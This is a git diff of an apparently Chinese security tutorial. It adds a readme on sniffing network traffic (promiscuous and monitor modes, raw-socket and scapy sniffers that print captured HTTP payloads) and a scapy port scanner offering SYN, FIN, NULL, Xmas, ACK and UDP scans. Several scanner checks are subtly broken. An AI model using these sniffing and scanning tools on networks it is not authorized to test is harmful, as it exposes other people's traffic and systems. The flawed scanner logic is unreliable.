\347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" new file mode 100644 index 0000000..4c1e67d Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" new file mode 100644 index 0000000..2dfb9be --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" @@ -0,0 +1,575 @@ +## 3.6 网络嗅探 + +网络嗅探,是监听流经本机网卡数据包的一种技术,嗅探器就是利用这种技术进行数据捕获和分析的软件。 + +编写嗅探器,捕获数据是前置功能,数据分析要建立在捕获的基础上。本节就数据捕获的基本原理和编程实现做详细的阐述。 + +### 3.6.1 以太网网卡的工作模式 + +![](img/1.jpg)] + +以太网网卡是我们日常生活中见得最多的网卡,常用的以太网卡支持以下工作模式:广播模式、多播模式、直接模式和混杂模式。 + +1. 广播模式(Broad Cast Model):它的物理地址(MAC)地址是 0Xffffff 的帧为广播帧,工作在广播模式的网卡接收广播帧。它将会接收所有目的地址为广播地址的数据包,一般所有的网卡都会设置为这个模式。 + +2. 多播传送(MultiCast Model):多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果将网卡设置为多播传送模式,它可以接收所有的多播传送帧,而不论它是不是组内成员。当数据包的目的地址为多播地址,而且网卡地址是属于那个多播地址所代表的多播组时,网卡将接纳此数据包,即使一个网卡并不是一个多播组的成员,程序也可以将网卡设置为多播模式而接收那些多播的数据包。 + +3. 直接模式(Direct Model):工作在直接模式下的网卡只接收目地址是自己 Mac地址的帧。只有当数据包的目的地址为网卡自己的地址时,网卡才接收它。 + +4. 混杂模式(Promiscuous Model):工作在混杂模式下的网卡接收所有的流过网卡的帧,信包捕获程序就是在这种模式下运行的。网卡的缺省工作模式包含广播模式和直接模式,即它只接收广播帧和发给自己的帧。如果采用混杂模式,网卡将接受同一网络内所有主机发送的数据包。 + +利用网卡混杂模式的特性,就可以到达对于网络信息监听捕获的目的。 + +需要注意的是,并不是任何情况下,网络中的数据都会流经你的网卡,比如交换机网络,交换机会绑定端口和MAC,此时就需要上一章讲到的ARP欺骗了。 + +### 3.6.2 设置网卡为混杂模式 + +在Linux中,我们可以通过ifconfig和iwconfig配置网络接口的信息。正常情况下输入ifconfig,虚拟机中显示如下: + +![](img/2.png)] + +通过命令 +``` +ifconfig eth0 promisc +``` +可以将eth0设置为混杂模式,下图中圈红的部分,表示当前网卡处于混杂模式。 +![](img/3.png)] + +通过 +``` +ifconfig eth0 -promisc +``` +可以取消网卡的混杂模式。 + +ifconfig 对无线网卡同样适用。 + +windows 下设置混杂模式的手工模式如下: + + 1. 打开网络和共享中心,点击“本地连接”,选择“属性”,选择“配置”。 + ![](img/4.png)] + ![](img/5.png)] + 2. 选择“高级”选项卡,选择“速度和双工”,“值”选择“自动协商”,保存设置。 + ![](img/6.png)] + + + + ### 3.6.3 无线网卡的监听模式 + + 对于无线网卡,我们可以使用iwconfig的mode参数来配置混杂模式,mode的选项值如下: + +1) Ad-hoc:不带AP的点对点无线网络 + +2) Managed:通过多个AP组成的网络,无线设备可以在这个网络中漫游 + +3) Master:设置该无线网卡为一个AP + +4) Repeater:设置为无线网络中继设备,可以转发网络包 + +5) Secondary:设置为备份的AP/Repeater + +6) Monitor:监听模式 + +7) Auto:由无线网卡自动选择工作模式 + +使用如下命令可以设置无线网卡为监听模式: + +``` +ifconfig wlan0 down +iwconfig wlan0 mode monitor +ifconfig wlan0 up +``` + +在 kali linux中我们通过iwconfig来设置监听模式,可能会遇到点困难,无线网卡设置成监听模式后,过几秒又变成manage模式了。这是由于Network Manage服务造成,我们可以关闭该服务。 + +监听模式和上文的混杂模式有什么区别呢? + +混杂模式是在wifi连接到指定网络中,监听子网中的数据传输;监听模式下wifi会断网,进而监听某一个信道内所有传输流量,因此可以用来扫描wifi热点,破解wifi密码等工作。 + +### 3.6.4 基于Raw Socket的Sniffer开发 + +Raw Socket是一种较为底层的socket编程接口,可以用来获取IP层以上的数据,所以可以用来编写Sniffer。一个完整的sniffer代码组成,大致分为创建socket对象,接收数据,分析数据三个部分。其中开启网卡的混杂模式,需要配置socket对象的属性。在开启混杂模式方面,Linux上要比windows上复杂一点,我们先从简单的情况开始。 + +#### 3.6.4.1 可以在windows上运行的Sniffer + +我们先实现一个在windows上能运行的嗅探器。新建sniffer_windows.py文件,先定义核心类的基本结构: + +```Python +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args, **kwargs): + pass + +def sniffer(count,iface, bufferSize=65565, showPort=False, showRawData=False): + pass + +def printPacket(package, showPort, showRawData): + pass +``` + +在上面的代码中,我们首先定义了一个类——PromiscuousSocket,这个类负责创建一个绑定到当前主机名绑定的网卡上的raw socket对象,并设置启动混杂模式。PromiscuousSocket类有三个方法,分别为类的构造函数,另外两个函数是用于with关键字的块作用域的起止函数。sniffer函数会创建PromiscuousSocket类的实例,并使用它接收和分析数据。printPacket方法用来显示捕获的数据内容。 + +接下来我们来完善核心的PromiscuousSocket类,在__init__方法中,我们创建socket对象,并绑定到对象的s字段上。实现如下 + +```Python + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW,socket.IPPROTO_IP) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind((HOST, 0)) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s +``` +上面的代码中,我们首先获取本机的IP地址,随后调用如下代码创建一个原始套接字: + +```Python +s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) +``` +一个字段family我们选择ipv4;第二个字段type,选择raw socket。 + +接下来调用setsockopt方法对原始套接字的相关属性进行设置。setsockopt函数是用来对socket对象进行补充选项的设置,三个参数的分别为level、选项名称和值。level支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。不同协议对应的选项不同,具体内容可以参考 https://docs.microsoft.com/zh-cn/windows/desktop/WinSock/socket-options。 + +先来设置SO_REUSEADDR选项: +``` + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +``` +该选项可以让多个socket对象绑定到相同的地址和端口上。之后我们调用bind方法,来绑定socket。 + +```Python + s.bind((HOST, 0)) +``` +接下来再次调用setsockopt: + +```Python + + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) +``` +设置ip协议层的IP_HDRINCL选项,该选项只能和原始套接字配合使用。当开启该参数时,我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。 + +最后调用ioctl函数来开启网卡的混杂模式: +``` + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) +``` +调用ioctl传入的两个参数,第一个指定设置的类型为接收所有数据,第二个参数要和第一个对应,使用RCVALL_ON来开启。 + +至此,我们完成了原始套接字的构造工作,下面看__enter__和__exit__方法。 + +```Python + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) +``` +__enter__方法很简单,返回创建的socket对象。__exit__方法中,我们调用ioctl方法通过RCVALL_OFF来关闭混杂模式。 + +接下来完善sniffer函数: + +```Python +def sniffer(count, bufferSize=65565, showPort=False, showRawData=False): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) +``` + +sniff方法创建PromiscuousSocket的一个实例,利用其接收数据包,然后打印捕获的内容。想要进一步解析捕获的数据包内容,需要依照协议逐字节去解析,不是文本的重点就不要再深入讲解了。完整代码如下: + +```Python +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.bind((HOST, 0)) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + +def sniffer(count, bufferSize=65565): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + + +if __name__ == '__main__': + sniffer(count=10) + +``` + +上面的代码在Linux上运行唯一的问题是ioctl函数并没有被暴露出来,无法调用。 + +#### 3.6.4.2 解决Linux上开启网卡混杂模式的问题 + +上面设置混杂模式的代码: +``` + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) +``` +在linux上无法运行,ioctl函数和socket.SIO_RCVALL, socket.RCVALL_ON都没有被暴露出来,但是系统底层的C结构体是有这样的定义的,我们可以通过fcntl模块的fcntl.ioctl方法来配置选项。和上面类似,我们搭建基本的程序结构。如下: + +```Python +import os +import socket +import ctypes +import fcntl + +class ifreq(ctypes.Structure): + pass + + +class FLAGS(object): + pass + + + +class PromiscuousSocketManager(object): + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args, **kwargs): + pass + +def sniffer(count, bufferSize=65565): + pass + +``` + +和windows的实现对比,我们新增了ifreq类和FLAGS类。我们先将需要用到的枚举值封装到FLAGS类中: + +```Python +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags +``` + +由于fcntl.ioctl只是linux系统调用的的一个接口,其对应的c接口接收参数为结构体,我们定义ifreq类来实现结构体封装: + +```Python +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +``` +该类继承自ctypes.Structure类,使用它我们可以通过字符串中转c结构体字段的值。 + +下面来看PromiscuousSocketManager类的实现: + +```Python +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称 + ifr.ifr_flags |= FLAGS.IFF_PROMISC # 添加混杂模式的值 + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新socket + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update +``` +上面的代码中,注意几个地方。htons方法用来将16bit的正数的字节顺序转换为网络传输的顺序(所谓的大端,小端)。我们创建了一个ifreq类的实例 ifr,接下来设置绑定的网卡的名字,这里程序写死了,需要根据实际情况调整。通过 +```Python +fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称 +``` +将当前socket已经有的Flag获取到,然后加上设置混杂模式的数值,再通过 +``` +fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新 +``` +更新给socket对象,从而开启混杂模式。 + +在__exit__方法中,取消混杂模式的代码也和windows下不同,设置上关闭标志,然后更新socket对象: + +```Python +def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update +``` + +Linux下的嗅探器开发完毕了,完整代码如下: + +```Python +import os +import socket +import ctypes +import fcntl +### +# 结构体封装 + +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +### +# 需要用到的枚举值 + +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags + + + +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags + ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update + +def sniffer(count, bufferSize=65565): + + with PromiscuousSocketManager() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + +if __name__ == '__main__': + sniffer(count=10) +``` + +基于原始套接字从头来实现嗅探器比较繁琐,还有一个大的问题就是数据解析,捕获到的数据需要按照协议来逐字节进行解析才能取到可读的内容。下面我们来看看如何基于scapy来实现嗅探功能。 + +### 3.6.5 基于scapy实现sniffer + +scapy的sniff方法可以直接被用来实现嗅探功能,我们可以在scapy的交互窗口中使用help来查看sniff方法的说明。 + +```Py +sniff(count=0, store=True, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, iface=None, started_callback=None, *arg, **karg) + Sniff packets and return a list of packets. + + Args: + count: number of packets to capture. 0 means infinity. + store: whether to store sniffed packets or discard them + prn: function to apply to each packet. If something is returned, it + is displayed. + --Ex: prn = lambda x: x.summary() + filter: BPF filter to apply. + lfilter: Python function applied to each packet to determine if + further action may be done. + --Ex: lfilter = lambda x: x.haslayer(Padding) + offline: PCAP file (or list of PCAP files) to read packets from, + instead of sniffing them + timeout: stop sniffing after a given time (default: None). + L2socket: use the provided L2socket (default: use conf.L2listen). + opened_socket: provide an object (or a list of objects) ready to use + .recv() on. + stop_filter: Python function applied to each packet to determine if + we have to stop the capture after this packet. + --Ex: stop_filter = lambda x: x.haslayer(TCP) + iface: interface or list of interfaces (default: None for sniffing + on all interfaces). + monitor: use monitor mode. May not be available on all OS + started_callback: called as soon as the sniffer starts sniffing + (default: None). + + The iface, offline and opened_socket parameters can be either an + element, a list of elements, or a dict object mapping an element to a + label (see examples below). + + Examples: + >>> sniff(filter="arp") + >>> sniff(lfilter=lambda pkt: ARP in pkt) + >>> sniff(iface="eth0", prn=Packet.summary) + >>> sniff(iface=["eth0", "mon0"], + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) + >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"}, + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) +``` + +参数说明已经很清楚了,过滤数据包可以使用filter,lfilter,stop_filter,filter是过滤表达式, lfilter 和stopfilter 是python函数。前两者作用一样,用来过滤我们需要的数据包,stopfilter返回布尔值,表示是否终止监听。 prn是数据包的处理函数,我们要在此做数据包的解析,分析等工作。 新建sniffer_scapy.py文件,添加测试代码: + +```Python +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + dport = pkt[IP][TCP].dport + if dport==80 and pkt[IP][TCP].payload: + print('捕获http请求:',pkt[IP][TCP].payload) +if __name__ == '__main__': + sniff(filter='tcp and port 80',prn=packetHandler,iface='en0') +``` + +上面的代码我们调用 sniff 函数,通过 'tcp and port 80' 表达式来过滤http请求。通过iface传入网卡名称。prn指向自定义的函数packetHandler。在packetHandler函数中,我们通过对数据包对象(pkt)进行分层解析来得到http协议的数据。运行结果如下: + +![](img/13.png) + +关于filter表达式语法,下面简单说明一下: + +
+1. type(定义了类型) + +可选值:host, net, port, portrange + +例如: +``` +host hostnameA +net 172.31  //相当于172.31.0.0/16,又例如:192.168.1相当于192.168.1.0/24 +port 80 +portrange 6000-6010 +``` + +2. zdir(direction,定义了传输方向) + +可选值:src, dst, src or dst, src and dst + +例如: +``` +src net 172.31 +src or dst port 21 +``` + +3. proto(protocol定义了网络协议) + +可选值:ether, fddi, tr, wlan, ip, ip6, arp, rarp, decnet, tcp, udp, icmp +(fddi, tr, wlan是ether的别名, 包结构很类似) + +例如: +``` +ether src hostnameA +arp net 172.31 +udp portrange 7000-8000 +``` +  + +4. 连接词:and, or, not + +例如: +``` +tcp or udp +not icmp +``` + + +常用的一些表达式([]表示可选项,/表示并列可选项): +格式 | 说明 +------------------|----- +[src/dst] host host | IPv4/v6的[源/目的]主机为host,既可以是IP地址又可以是hostname,前面可以追加ip,arp, rarp或ip6,例如:ip host host +ether host/src/dstehost | 以太网地址/源地址/目的地址为ehost,ehost可以是名称或number +gateway host | 报文以host作为gateway +[src/dst] net net |IPv4/v6[源/目的]地址的网络号为net,net既可以是一个网络名也可以是一个网络号,IPv4的网络号可以写成点分式,例如:192.168.1.0,或者192.168.1(等价于192.168.1.0/24),或者172.16(等价于172.16.0.0/16),或者10(等价于10.0.0.0/8)。IPv6的掩码为ff:ff:ff:ff:ff:ff,所以IPv6的地址匹配模式为全匹配,需要完全匹配对应的主机IPv6地址 +net net mask netmask|匹配网络号和掩码,掩码格式例如:255.255.0.0,IPv6不支持此语法 +net net/len |netmask的另一种写法,len指定子网掩码的长度 +[src/dst] port port | 匹配[源/目的]端口号 +[src/dst] portrangeport1-port2 | 匹配[源/目的]端口范围 +less length | 报文长度小于等于length,等价于len <= length +greater length | 报文长度大于等于length,等价于len>= length +ip proto protocol | 匹配IPv4,协议类型为protocol,protocol可取值为:icmp, icmp6, igmp, igrp, pim, ah,esp, vrrp, udp, tcp,注意icmp, tcp, udp也是关键字,所以需要使用“\”进行转义 +ip6 proto protocol | 匹配IPv6的协议 +ip/ip6 protochain protocol | 匹配IPv4/v6协议,协议中的protocolheader chain中包含protocol,例如:ip6 protochain 6(注:6代表TCP) ![](img/14.png) +ether broadcast | 匹配以太网广播报文 +ip broadcast | 匹配IPv4广播报文 + +
+ +scapy对数据包进行很好的对象封装,我们可以对照协议来进行数据包分析。一个标准的以太网数据包(包含用户层协议)整体结构如下: + + +![](img/16.jpg) + +我们在做数据包解析的时候,也是按照上图的层级一层层的向上解析。下面以上面捕获http报文为例进行分析,我们在源码打下断点,然后启动调试。 + +![](img/15.png) + +程序起来之后打开浏览器,打开一个http站点,程序捕获80端口的数据之后会自动断住。根据我们已有的知识进行预判,我们会先捕获Tcp三次握手的数据包,然后才是浏览器的http请求报文。 + +![](img/7.png) + +断点断住之后,我们查看pkt对象,在调试信息窗口可以看到这是一个以太网数据包,payload字段是IP层报文。下面展开payload,对照IP数据报再来分析。 + +![](img/17.png) + +IP报文的payload是一个TCP报文,我们 继续展开,对照TCP报文继续分析。 + +![](img/18.png) + +TCP的payload字段就是http协议的报文了,scapy没有对http协议做进一步的解析,我们可以使用一些scapy的增强插件来做进一步分析,后续教程会有介绍。 +![](img/12.png) + +### 3.6.6 小结 + +本节中我们学习了原始套接字编程基础,基于原始套接字实现了简单的嗅探工具,同时学习了scapy的sniff函数的的使用方法,以及scappy的数据分析基础。本节作业如下: + +1. 将我们基于原始套接字实现的windows和linux系统下的两套代码整合成一套 +2. 使用scapy实现自己的嗅探工具 +3. 结合3.5节 ARP欺骗的内容,思考中间人攻击的实现原理s + +下一节,我们一同学如何开发一个端口扫描器。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git a/3.6.pdf b/3.6.pdf new file mode 100644 index 0000000..7afc55d Binary files /dev/null and b/3.6.pdf differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/3.7.pdf" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/3.7.pdf" new file mode 100644 index 0000000..0e4e6e9 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/3.7.pdf" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/code/portScan.py" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/code/portScan.py" new file mode 100644 index 0000000..4948070 --- /dev/null +++ "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/code/portScan.py" @@ -0,0 +1,185 @@ +# -*- coding: UTF-8 -*- + +import argparse +from scapy.all import * + +bannerText=""" +██╗ ██╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗███╗ ██╗ +╚██╗██╔╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██║ ██║████╗ ██║ + ╚███╔╝ ██║ ██║███████║██╔██╗ ██║ ███████║██║ ██║██╔██╗ ██║ + ██╔██╗ ██║ ██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██║╚██╗██║ +██╔╝ ██╗╚██████╔╝██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ +╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ + +端口扫描器 by 玄魂工作室 +微信订阅号 : xuanhun521 +Github : https://github.com/xuanhun + """ + + +#答疑端口状态 +def print_ports(port, state): + print("%s | %s" % (port, state)) + +def tcpScan(target,ports): + print("tcp全连接扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + print(send["TCP"].flags) + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0) + print_ports(port,"opend") + elif send["TCP"].flags == "RA": + print_ports(port,"closed") + + +def synScan(target,ports): + print("tcp SYN扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + print(send["TCP"].flags) + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里 + print_ports(port,"opend") + elif send["TCP"].flags == "RA": + print_ports(port,"closed") + +def ackScan(target,ports): + print("tcp ack扫描 %s with ports %s" % (target, ports)) + for port in ports: + ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(ack_flag_scan_resp))) + if (str(type(ack_flag_scan_resp))==""): + print_ports(port,"filtered") + elif(ack_flag_scan_resp.haslayer(TCP)): + if(ack_flag_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port,"unfiltered") + elif(ack_flag_scan_resp.haslayer(ICMP)): + if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port,"filtered") + else: + print_ports(port,"filtered") + + +def windowScan(target,ports): + print("tcp window扫描 %s with ports %s" % (target, ports)) + for port in ports: + window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(window_scan_resp))) + if (str(type(window_scan_resp))==""): + print_ports(port,"close") + elif(window_scan_resp.haslayer(TCP)): + if(window_scan_resp.getlayer(TCP).window == 0): + print_ports(port,"close") + elif(window_scan_resp.getlayer(TCP).window > 0): + print_ports(port,"open") + else: + print_ports(port,"close") + +def nullScan(target,ports): + print("tcp NULL 扫描 %s with ports %s" % (target, ports)) + for port in ports: + null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5) + if (str(type(null_scan_resp))==""): + print_ports(port,"Open|Filtered") + elif(null_scan_resp.haslayer(TCP)): + if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"): + print_ports( port,"Closed") + elif(null_scan_resp.haslayer(ICMP)): + if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + + +def finScan(target,ports): + print("tcp FIN 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == 0x14): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + + +def xmaxScan(target,ports): + print("tcp xmax 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + +def udpScan(target,ports): + print("UDP 扫描 %s with ports %s" % (target, ports)) + for port in ports: + udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5) + if (str(type(udp_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(udp_scan_resp.haslayer(UDP)): + if(udp_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Open") + elif(udp_scan_resp.haslayer(ICMP)): + if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + + +if __name__ == '__main__': + + print(bannerText) + + parser = argparse.ArgumentParser("") + parser.add_argument("-t", "--target", help="目标IP", required=True) + parser.add_argument("-p", "--ports", type=int, nargs="+", help="指定端口列表 (21 23 80 ...)") + parser.add_argument("-s", "--scantype", help=""" + "T":全连接扫描 + "S":syn扫描 + "A":ack扫描 + "W":TCPwindow扫描 + "N":NULL扫描 + "F":FIN扫描 + "X":Xmas扫描 + "U":UDP扫描 + """, required=True) + args = parser.parse_args() + print(args) + target = args.target + scantype = args.scantype + if args.ports: + ports = args.ports + else: + ports = range(1, 65535) + + # 扫码方式 + if scantype == "T":#全连接扫描 + tcpScan(target,ports) + elif scantype == "S":#syn扫描 + synScan(target,ports) + elif scantype == "A":#ack扫描 + ackScan(target,ports) + elif scantype == "W":#TCPwindow扫描 + windowScan(target,ports) + elif scantype == "N":#NULL扫描 + nullScan(target,ports) + elif scantype == "F":#FIN扫描 + finScan(target,ports) + elif scantype == "X":#Xmas扫描 + xmaxScan(target,ports) + elif scantype == "U":#UDP扫描 + udpScan(target,ports) + else: + print("不支持当前模式") + diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/0.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/0.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/00.jpeg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/00.jpeg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/1.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/1.png" new file mode 100644 index 0000000..80aa4c0 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/1.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/10.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/10.png" new file mode 100644 index 0000000..9555a1f Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/10.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/11.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/11.png" new file mode 100644 index 0000000..000d261 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/11.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/12.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/12.jpg" new file mode 100644 index 0000000..8cc21ef Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/12.jpg" differ diff --git "a/3.7 